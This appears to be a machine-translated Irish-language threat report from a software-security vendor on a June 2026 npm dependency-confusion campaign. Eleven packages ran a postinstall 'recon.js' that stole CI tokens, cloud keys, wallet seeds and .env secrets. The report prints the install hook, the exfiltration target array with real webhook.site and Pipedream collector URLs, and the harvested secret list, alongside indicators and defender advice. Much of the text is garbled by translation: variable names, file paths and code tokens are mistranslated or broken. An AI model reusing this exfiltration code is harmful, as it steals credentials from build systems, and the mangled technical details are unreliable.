Mearbhall CryptoDAO: Pacáistí npm á bhfómhar CI/CD agus Rúin Chripte

Mearbhall CryptoDAO: aon phacáiste déag npm, ualach amháin, fómhar CI/CD agus rúin cripte-sparán

TL; DR

Ar an 17ú Meitheamh 2026, foilsíodh cuntas npm aonair aon phacáiste déag a bhfuil cuspóir amháin agus ualach amháin orthuTá deichniúr acu ag iompar an cryptodao- réimír (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); is é an t-aonú ceann déag an ceann scóipithe @public-for-cdao/coreFoilsíodh gach ceann acu ag an leagan 99.99.99 agus seolann sé rud atá comhionann le beart recon.js a ritheann ar postinstall.

Is iad na hainmneacha a léiríonn an scéal. Léitear iad cosúil le bloic thógála inmheánacha slabhra uirlisí príobháideach tionscadail cripte/DAO. Foilsithe chuig an gclárlann npm poiblí ag leagan atá thar a bheith ard, suíonn siad ag fanacht le tógáil. pipeline atá cumraithe chun na hainmneacha sin a réiteach agus a shroicheann an npm poiblí roimh — nó in ionad — an chlárlann phríobháideach. mearbhall spleáchais, agus tá an t-ualach tiúnta don áit go díreach a bhfuiltear ag súil leis go dtuirlingeoidh sé: CI/CD reathaithe.

Cathain postinstall tinte, recon.js bailíonn sonraí an óstaigh, scuabann go garbh daichead athróg timpeallachta scamall, CI, agus cripte-sparán, léann aon .env comhaid is féidir leis a aimsiú agus a sheolann na línte ina bhfuil rún ar aghaidh focal ar fhocal, ansin tarchuireann sé an pacáiste chuig beirt bhailitheoirí — webhook.site agus críochphointe Pipedream — le fíorú teastais TLS díchumasaithe. Scríobhtar cóip faoi freisin /tmp.

Déine: ardÉiceachóras atá buailte: npmBhí na haon phacáiste déag beo tráth scríofa na tuarascála seo.

Anatamaíocht ionsaithe

Tá ceithre chuid ghluaiste sa mheicníocht, agus níl aon cheann acu caolchúiseach nuair a bhíonn a fhios agat. féach sraith amháin thar ainm an phacáiste.

1. Boilsciú leagan mar mhealladh réitigh. Dearbhaíonn gach pacáiste leagan 99.99.99Oibríonn mearbhall spleáchais nuair a iarrann bainisteoir pacáiste ainm inmheánach, seiceálann sé an clárlann phoiblí freisin agus roghnaíonn sé an leagan is airde aimsíonn. Is é rogha réamhshocraithe npm le haghaidh raon caret nó fiáin ná an an leagan is sásúla ar fud gach foinse chumraithe; má tá an dá cheann príobháideach freagra registry agus public npm don ainm céanna, an uimhir leagain is mó a bhuafaidh. A 99.99.99 sáraíonn sé beagnach aon leagan inmheánach fíor a bheidh ag tionscadal bainte amach, mar sin is fearr le réiteoir nach bhfuil bioráilte leis an bhfoinse phríobháideach an cóip phoiblí — agus sa chás seo, naimhdeach. Ní gá don oibreoir a bheith ar an eolas faoi uimhreacha leaganacha fíor an sprice; ráthaíonn uasmhéid aisteach a roghnú go mbeidh an comhionannas vótaí ann i gcónaí briseann siad a mbealach.

2. Spreagthóir iar-shuiteála. pacáiste.json sreangaíonn an t-ualach chuig an suiteáil saolré:

{   "scripts": { "postinstall": "node recon.js" } }

Ní gá an pacáiste a allmhairiú. Níl le déanamh ach é a shuiteáil — rud a bhfuil CI ann. pipeline ritheann go huathoibríoch — recon.js.

3. Scuabadh rúnda leathan. recon.js cuireann sraith torthaí le chéile i gcéimeanna:

  • Comhthéacs óstach: ainm óstach, ardán agus eisiúint, ailtireacht, ainm úsáideora, ag obair eolaire.
  • Athróga timpeallachta: déanann sé liosta seasta de thart ar daichead ainm agus taifead a athrá aon cheann atá socraithe. Tá an liosta nochtach — péireálann sé comharthaí CI cineálacha (CI_JOB_TOKEN, PASFHOCAL_CLÁRLA_CI, GITLAB_ACCESS_TOKEN) agus scamall dintiúir (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) le rúin chlárlainne agus coimeádáin (NPM_TOKEN, PASFHOCAL_DOCKER, PASFHOCAL CALAFAIN) agus braisle cripte-bhlaisithe go sainiúil:  EOCHAIR_PHRÍOBHÁIDEACH, Cuimhneachán, SEED_PHRASE, EOCHAIR_INFURA_API, EOCHAIR_API_ALCHEMY, ETH_RPC, BSC_RPCGearrtar luachanna taifeadta go dtí na chéad 50 carachtar.
  • .a V comhaid: déanann sé cuardach ar liosta cosán — .a V, ../.clúdach, /app/.env, /app/backend/.env, /app/bot/.env, /baile/gitlab-runner/.comhshaol, /root/.env, agus an .léiriú/forbairt malairtí — agus i gcás aon chomhad atá ann, scagann an t-ábhar go línte a mheaitseálann EOCHAIR|RÚN|COMHARTHA|PAS|PRÍOBHÁIDEACH|CUIMHNEOIR agus brúnn sé na línte sin **go hiomlán, gan ghiorrú** isteach sna torthaí.
  • Comhthéacs tógála-óstach: liostaíonn sé na chéad 20 iontráil de /tógálann/, /baile/gitlab-runner/tógálacha/, /var/lib/gitlab-runner/, agus /tmp/.

Tá an liosta cosán agus an liosta athróg ualaithe i dtreo reathaithe GitLab, rud a thugann le fios an t-ualach go díreach ag bonneagar CI féinóstáilte seachas forbróir ríomhaire glúine. Trí an liosta fómhair a ghrúpáil de réir catagóire, déantar an tarraingt atá beartaithe soiléir:

Catagóir Athróga / cosáin sroichte
CI/CD aitheantas & imscaradh CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Clárlann & coimeádán NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Stórais sonraí DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Criptea-/blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Teachtaireachtaí SLACK_TOKEN, DISCORD_TOKEN
Ar dhiosca .env teaghlach + /home/gitlab-runner/.env, /root/.env, /app/**/.envliostaí eolaire de /builds/, /var/lib/gitlab-runner/

Is é an braisle cripte an chuid a dhéanann idirdhealú idir seo agus rún CI cineálach scuab: ní fheictear frásaí síolta sparán agus eochracha sínithe ach amháin i dtimpeallacht a tionscadal blockchain, agus mapálann siad go díreach ar an cripteadao-/comhartha/conarthaí ainmniú na n-iompróirí.

4. Eas-scagadh dúbailte le fíorú díchumasaithe. Is é an eagar bailithe sraitheach agus POSTáilte chuig dhá cheann scríbe:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

diúltaighGan Údarú: bréagach múchann sé seiceálacha teastais TLS don seoladh amach glaonna. Priontáiltear an fhaisnéis chéanna chuig stdout (mar sin tagann sé i logaí poist CI freisin) agus i scríbhinn a /tmp/.npm_recon_ .jsonSlogtar earráidí go ciúin, mar sin ní fhágann an seoladh teipthe aon rian san aschur suiteála thar cheann amháin [athbhreithniú] suiteáilte ar líne.

Déantar cur síos air i dtrácht tosaigh sa chomhad mar “Mearbhall Spleáchais “Ualach Taiscéalaíochta.” Tá giorrú luachanna comhshaoil ​​​​go 50 carachtar cruth cruthúnais coincheapa. Is é an rud a bhogann thar rabhchán láithreachta amháin é ná an .a V láimhseáil: cuirtear línte rúnda ar aghaidh go hiomlán, agus na cinn scríbe dhá bhailitheoir atá ag obair, faoi rialú ionsaitheora, seachas doirteal nach bhfuil ann ach amas.

amlíne

Is é an patrún foilsitheoireachta síniú brú scripte aonair, ní aon cheann déag uaslódálacha neamhspleácha.

Am (UTC, 2026-06-17) Imeacht
03:24:58 cryptodao-bot@99.99.99 D'fhoilsigh
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — malairt scóipithe, ~24 nóiméad ina dhiaidh sin

Chuaigh deich bpacáiste amach laistigh de fhuinneog 29 soicind, ceann amháin gach trí soicind. An raon feidhme @poiblí-do-cdao/croí ina dhiaidh sin thart ar 24 nóiméad ina dhiaidh sin — soicind coinbhinsiún ainmniúcháin don sprioc chéanna, i gcás go dtagraíonn an tionscadal íditheach don slabhra uirlisí inmheánach faoi raon feidhme seachas mar ainmneacha lom.

Táscairí comhréitigh

Cineál Táscaire
Bhailitheoir hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Bhailitheoir hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Suiteáil crúca postinstall: node recon.js
Comhad a scaoileadh /tmp/.npm_recon_<timestamp>.json
Marcóir loga [recon] <pkg>@<ver> installed on <hostname> (stdout i logaí CI)
Iompraíochta rejectUnauthorized: false ar HTTPS amach le linn suiteála
Íocaíocht recon.js, mar an gcéanna ar fud na n-aon phacáiste déag (aon tógáil chomhroinnte amháin)
Leagan 99.99.99 ar gach pacáiste
Pacáistí cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (uile 99.99.99)
Foilsitheoir aduljune / aduljune@proton.me (ríomhphost gan fhíorú, gan aon stór foinse nasctha)

 Leithdháileadh & iompar breathnaithe

Léiríonn gach rud faoin mbraisle go bhfuil lámh amháin ann. Foilsíodh na haon phacáiste déag go léir. ag an gcuntas npm aduljune (aduljune@proton.me, seoladh neamhfhíoraithe gan aon stór foinse nasctha), laistigh de thréimhse 25 nóiméad, ag an am céanna 99.99.99 leagan, loingseoireacht recon.js a bhfuil a n-ábhar comhionann beart ar bheart ar fud gach ceann acu pacáiste (meaitseálann MD5 trasna na n-aon chóip déag a eastóscadh). Is ualach amháin é sin stampáilte ar liosta ainmneacha, ní athúsáid neamhspleách cóid.

Sainmhíníonn an liosta ainmneacha an sprioc atá beartaithe. cripteadao-* agus cdao déan cur síos ar an leagan amach modúil phríobháidigh tionscadail cripte/DAO, agus liosta bailithe an ualaigh scátháin a dhéanann buille faoi thuairim: taobh leis an CI cineálacha agus rúin scamall, go sonrach sroicheann do EOCHAIR_PHRÍOBHÁIDEACH, Cuimhneachán, SEED_PHRASE, agus Ethereum/BSC RPC agus eochracha an tsoláthraí. Na .a V Is GitLab-runner na cosáin chuardaigh agus na liostaí eolaire sonrach. Is é an éifeacht inbhraite ná go bhfuil aon pipeline meallta chun iad seo a shuiteáil chuirfeadh ainmneacha a chomharthaí CI, eochracha scamall, agus ar dhiosca ar aghaidh .a V rúin — agus, le haghaidh tionscadal blockchain, a ábhar sparán — chuig beirt bhailitheoirí tríú páirtí.

Ní dhéanaimid aon éileamh faoi cé a oibríonn an cuntas ná cad a bhí beartaithe acu a dhéanamh leis an sonraí. Na fíricí a sheasann leo féin: díríonn na hainmneacha ar chineál sonrach de slabhra uirlisí inmheánach, léann agus tarchuireann an t-ualach luachanna rúnda fíor, agus an bhí an bonneagar beo.

Tionchar, treochtaí, agus treoir do chosantóirí

Mearbhall spleáchais fanann sé éifeachtach toisc go mbaintear leas as iompar réiteora, ní leochaileacht in aon phacáiste. Tá an t-iompróir anseo simplí - aon cheann déag beagnach folamh pacáistí — ach is cuma cad é ga an phléasctha pipeline is fearr leis npm poiblí trí dhearmad le haghaidh ainm inmheánach. Is iad reathaithe CI an áit is measa le go dtarlódh sé sin: coinníonn siad na comharthaí go díreach agus .a V comhaid a léann an t-ualach seo, agus suiteálann siad spleáchais neamh-idirghníomhacha, mar sin a iar-shuiteáil ritheann gan aon duine ag faire.

Luíonn an braisle seo le patrún a fheicimid i gcónaí: ualaí ama suiteála a chuireann i láthair mar “taighde” nó “taiscéalaíocht” agus fíor-bhailiúchán dintiúr á dhéanamh. An lipéad sa chomhad ní athraíonn sé an rud a dhéanann an cód ar rithire. Coinníonn dhá rogha dearaidh an ghníomhaíocht ciúin: tá gach oibríocht líonra agus córas comhad fillte i láimhseálaí eisceachta a chaitheann earráidí ar shiúl, mar sin seolta blocáilte nó comhad ar iarraidh ní tháirgeann sé aon aschur diagnóiseach, agus is é an t-aon rud a phriontáiltear ná ceann neamhdhíobhálach aonair [athchóimeáil] … suiteáilte líne a chumasctar isteach sa ghnáth-chomhrá suiteála. Úsáid suíomh gréasáin.hook agus is áisiúlacht d'aon ghnó í Pipedream freisin — tá an dá cheann saor in aisce, seirbhísí gabhála-iarratais curtha ar fáil láithreach, mar sin ní gá don oibreoir freastalaithe de a gcuid féin agus breathnaíonn na cinn scríbe cosúil le hainmneacha óstach SaaS gnáth i logaí imeachta.

Is iad na geilleagair a fhágann go bhfuil sé seo fiúntach aird chosantóir a thabhairt air cé go bhfuil an Is rud simplí é cód an iompróra. Ní chosnaíonn sé aon ainm déag a chlárú, is é an t-ualach ceann amháin comhad cóipeáilte aon uair déag, agus déanann bainisteoir an phacáiste an forghníomhú go léir. Aonair amháin míchumraithe pipeline íocann áit ar bith a úsáideann ceann de na hainmneacha seo as an iomlán oibriú.

Céimeanna coincréiteacha do chosantóirí:

  • Prínnigh raonta inmheánacha le do chlárlann phríobháideach. Cumraigh npm ionas go mbeidh ainmneacha inmheánacha ann
     agus ní réitíonn raonta ach amháin i gcoinne do chlárlainne (mapálacha clárlainne .npmrc raonta,
    nó seachfhreastalaí nach dtéann tríd chuig npm poiblí riamh le haghaidh ainmspásanna faoi úinéireacht). Cuir d’ainmneacha raoin feidhme poiblí in áirithe ionas nach féidir le duine ar bith eile iad a chlárú.
  • Commit comhaid ghlasála agus suiteáil le –ignore-scripts i CI i gcás inar féidir, nó déan grinnscrúdú ar an tsraith bheag spleáchais a bhfuil scripteanna suiteála de dhíth orthu i ndáiríre.  Ní féidir recon.js a rith má iar-shuiteáil ní fhorghníomhaítear.
  • Déileáil le leagan 99.99.99 (nó leagan eile atá thar a bheith ard) d'ainm a bhfuil cuma inmheánach air mar bhratach dhearg in athbhreithniú spleáchais agus monatóireacht ar chlárlann.
  • Foláireamh maidir le himeacht ama suiteála. A iar-shuiteáil a osclaíonn HTTPS amach nasc — go háirithe agus fíorú teastais díchumasaithe — le Is fiú webhook.site, Pipedream, nó seirbhísí gabhála iarratais dá samhail a bhlocáil ag imeall an líonra agus iad a mharcáil i logaí tógála.
  • Sealg na n-artifican. Seiceáil reathaithe le haghaidh /tmp/.npm_recon_*.json agus don [athbhreithniú] … suiteáilte ar … marcóir i logaí CI le déanaí. Má aimsítear é, rothlaigh gach dintiúir nochtaithe dó sin pipeline — comharthaí CI, eochracha scamall, comharthaí clárlainne, agus aon shíolta sparán nó eochracha príobháideacha atá i láthair sa timpeallacht nó i gcomhaid .env.

tagairtí

Ní raibh aon tuairisciú seachtrach ar an mbraisle seo ann tráth scríofa na tuarascála seo; an anailís Tá an méid thuas bunaithe go díreach ar ábhar an phacáiste foilsithe

uirlisí-sca-uirlisí-bogearraí-anailíse-comhdhéanamh
Tabhair tosaíocht do rioscaí bogearraí, déan iad a leigheas agus a dhaingniú
Faigh do Chuntas Saor in Aisce.
Níl aon chárta creidmheasa ag teastáil.

Daingnigh do Fhorbairt agus do Sheachadadh Bogearraí

le Sraith Táirgí Xygeni